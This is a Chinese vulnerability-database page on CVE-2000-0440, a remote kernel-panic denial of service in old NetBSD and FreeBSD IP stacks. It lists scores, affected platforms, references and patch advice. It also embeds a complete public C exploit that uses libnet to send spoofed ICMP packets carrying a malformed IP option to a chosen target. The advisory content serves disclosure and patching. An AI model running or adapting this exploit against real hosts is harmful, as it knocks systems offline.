CVE-2000-0440
CVSS5.0
发布时间 :2000-05-01 00:00:00
修订时间 :2008-09-10 15:04:41
NMCOE    

[原文]NetBSD 1.4.2 and earlier allows remote attackers to cause a denial of service by sending a packet with an unaligned IP timestamp option.


[CNNVD]多个厂商*BSD非连续IP选项的拒绝服务漏洞(CNNVD-200005-002)

        NetBSD 1.4.2和早期版本存在漏洞,攻击者可以通过发送非连续IP时间戳选项的包触发拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:freebsd:freebsd:3.4FreeBSD 3.4
cpe:/o:netbsd:netbsd:1.4.1NetBSD 1.4.1
cpe:/o:freebsd:freebsd:5.0FreeBSD 5.0
cpe:/o:netbsd:netbsd:1.4.2NetBSD 1.4.2
cpe:/o:freebsd:freebsd:4.0FreeBSD 4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0440
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0440
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200005-002
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1173
(UNKNOWN)  BID  1173
http://archives.neohapsis.com/archives/bugtraq/2000-05/0088.html
(UNKNOWN)  BUGTRAQ  20000506 [NHC20000504a.0: NetBSD Panics when sent unaligned IP options]
ftp://ftp.netbsd.org/pub/NetBSD/misc/security/advisories/NetBSD-SA2000-002.txt.asc
(UNKNOWN)  NETBSD  NetBSD-SA2000-002

- 漏洞信息

多个厂商*BSD非连续IP选项的拒绝服务漏洞
中危 其他
2000-05-01 00:00:00 2005-05-02 00:00:00
远程  
        NetBSD 1.4.2和早期版本存在漏洞,攻击者可以通过发送非连续IP时间戳选项的包触发拒绝服务。

- 公告与补丁

        FreeBSD: Upgrade your FreeBSD system to 3.4-STABLE, 4.0-STABLE or 5.0-CURRENT after the respective correction dates or apply the patch.
        NetBSD: Apply the patch.
        NetBSD NetBSD 1.4.1 Alpha
        
        NetBSD NetBSD 1.4.1 SPARC
        
        NetBSD NetBSD 1.4.2 Alpha
        
        NetBSD NetBSD 1.4.2 SPARC
        
        FreeBSD FreeBSD 3.4
        
        FreeBSD FreeBSD 4.0
        
        FreeBSD FreeBSD 5.0
        

- 漏洞信息 (19896)

FreeBSD 3.4/4.0/5.0,NetBSD 1.4 Unaligned IP Option Denial of Service (EDBID:19896)
bsd dos
2000-05-04 Verified
0 y3t1
N/A [点击下载]
source: http://www.securityfocus.com/bid/1173/info

A vulnerability exists in the 1.4.x NetBSD kernel that may allow remote attackers to cause the machine to kernel panic on certain architectures. By sending a packet to a machine running the Alpha or SPARC versions of NetBSD, with an unaligned IP timestamp option, it is possible to cause the kernel to perform an unaligned memory access. This will cause a panic, causing the machine to reboot.

x86 and arm32 platforms have a similar bug. However, as both of these architectures can perform unaligned memory accesses, this vulnerability does not cause them to panic.

It was later determined that FreeBSD, a 4.xBSD derivative like NetBSD, is also vulnerable to this problem.


#include <stdio.h>
#include <libnet.h>
/* Remote denial-of-service in IP stack 
   simple exploit by y3t1
                     y3t1@rast.lodz.pdi.net

Gretzzz : rastlin,z33d,vanitas,DYZIU,Kuki,vx,zx,korie,kaneda,
          d3cker&mroowka,jarv33s,funkySh,Shadow,tmoggie
	  all from :
	           #hwa.hax0r.news@efnet
	           #darnet@efnet
*/
int rand_n(u_long zakres)
{
  return 1+(int) ((float)zakres*rand()/(RAND_MAX+1.0));
}

int main(int argc, char **argv)
{
    char a;
    int sock, c,pkt,ile;
    struct hostent *host;
    u_long src_ip, dst_ip;
    u_char *buf;
    u_char options[4];
    int option_s  = sizeof(options);
    struct ipoption ipopt;
    srand(time(NULL));
    ile=100; 
    printf("  -= Remote denial-of-service in IP stack =- \n");
    printf("\n");
    printf("                          by y3t1/team140\n");
    printf("                             y3t1@rast.lodz.pdi.net \n");
    printf("\n");
    if  (argc < 4) 
    {
     printf("%s -s src_addr -d dst_addr -p packets\n",argv[0]);
     printf(" -s src_addr - source address \n");
     printf(" -d dst_addr - dest address \n");
     printf(" -p packets - how many packets send to dest (default 100)\n");
     exit(1);
    }
   opterr=0;
   while((a=getopt(argc,argv,"s:d:p:"))!=EOF)
   {
	switch(a) {
	 case 's': { 
	           if ((host=gethostbyname(optarg))!=NULL)
		   bcopy(host->h_addr,&src_ip,host->h_length);
		   else src_ip=inet_addr(optarg);
		   break;
		   }
	 case 'd': {   
	           if ((host=gethostbyname(optarg))!=NULL)
		   bcopy(host->h_addr,&dst_ip,host->h_length);
		   else dst_ip=inet_addr(optarg);
	      	   break;
                   }
         case 'p': {
	            ile=atoi(optarg);
		    break; 
		   }
	 }
   }
    bzero(options,option_s);
    buf = malloc(IP_MAXPACKET);
    if (!buf)
    {
        perror("malloc");
        exit(-1);
    }
    sock = libnet_open_raw_sock(IPPROTO_RAW);
    if (sock == -1)
    {
        perror("socket");
        exit(-1);
    }
    libnet_build_ip(LIBNET_ICMP_H ,0,242,0,48,IPPROTO_ICMP,src_ip,dst_ip,NULL,0,buf);                          
    memcpy(ipopt.ipopt_list, options, option_s);
    *(ipopt.ipopt_list)     = IPOPT_RR;
    *(ipopt.ipopt_list+1)   = 3;
    *(ipopt.ipopt_list+2)   = 0xff;
    *(ipopt.ipopt_list+3)   = 0;
    c = libnet_insert_ipo(&ipopt,option_s,buf);                                                
    if (c == -1)
    {
        printf("Error\n");
	exit(1);
    }
    libnet_build_icmp_echo(ICMP_ECHO,0,242,31337,NULL,0,buf+LIBNET_IP_H+option_s);
    if (libnet_do_checksum(buf,IPPROTO_ICMP,LIBNET_ICMP_ECHO_H)==-1)
    {
     printf("can't do checksum \n");
    }
 for (pkt=0;pkt<ile;pkt++)
 {
    buf[22]=rand_n(0xff);
    c = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + option_s);
 }
    free(buf);
    libnet_close_raw_sock(sock);   
}
		

- 漏洞信息

1313
Multiple BSD Unaligned IP Timestamp Option DoS
Remote / Network Access Denial of Service
Loss of Availability Patch / RCS, Upgrade
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-05-06 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2000-06-08 or higher for FreeBSD, as it has been reported to fix this vulnerability. In addition, NetBSD has released a patch.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站